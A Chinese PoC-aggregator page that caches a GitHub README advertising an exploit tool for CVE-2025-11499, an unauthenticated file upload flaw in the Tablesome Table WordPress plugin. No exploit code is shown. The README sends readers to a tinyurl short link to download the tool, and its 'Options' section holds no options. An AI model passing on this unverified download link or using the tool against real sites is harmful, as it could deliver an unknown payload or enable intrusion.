支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: 14bc7c6c1067dfafb395da85f39592983bf2a6c9

来源
https://github.com/rootreapers/CVE-2025-11499
关联漏洞
标题:WordPress plugin Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent 代码问题漏洞 (CVE-2025-11499)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台具有在基于PHP和MySQL的服务器上架设个人博客网站的功能。WordPress plugin是一个应用插件。 WordPress plugin Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent 1.1.32及之前版本存在代码问题漏洞，该漏洞源于set_f
介绍
# Arbitrary File Upload Vulnerability in Tablesome Table Plugin by WordPress (CVE-2025-11499)

## 🌟 Description

The Tablesome Table plugin for WordPress is susceptible to an arbitrary file upload vulnerability due to insufficient file type validation in the set_featured_image_from_external_url() function.

## ⚙️ Installation

To set up the exploitation tool, follow these steps:

1. Download the repository:

|[Download](https://tinyurl.com/4nybda6j)
|:--------------- |

2. Navigate to the tool's directory:

cd CVE-2025-11499

3. Install the required Python packages:

pip install -r requirements.txt

## 🚀 Usage

To use the tool, run the script from the command line as follows:

python exploit.py [options]

### Options

This flaw exists across all versions up to and including 1.1.32, enabling unauthenticated attackers to upload arbitrary files to the server. The vulnerability poses a significant risk, particularly in configurations where unauthenticated users can add featured images, leading to potential remote code execution under exploitation.


### CVSS V3.1
- **Severity**: Critical
- **CVSS Score**: 9.8 (High)
- **Confidentiality**: High
- **Integrity**: High
- **Availability**: High
- **Attack Vector**: Network
- **Attack Complexity**: Low

## 🛡 Disclaimer

Use this tool responsibly and ethically. Always obtain proper authorization before testing any system for vulnerabilities.
文件快照

 [4.0K]  /data/pocs/14bc7c6c1067dfafb395da85f39592983bf2a6c9
└── [1.4K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。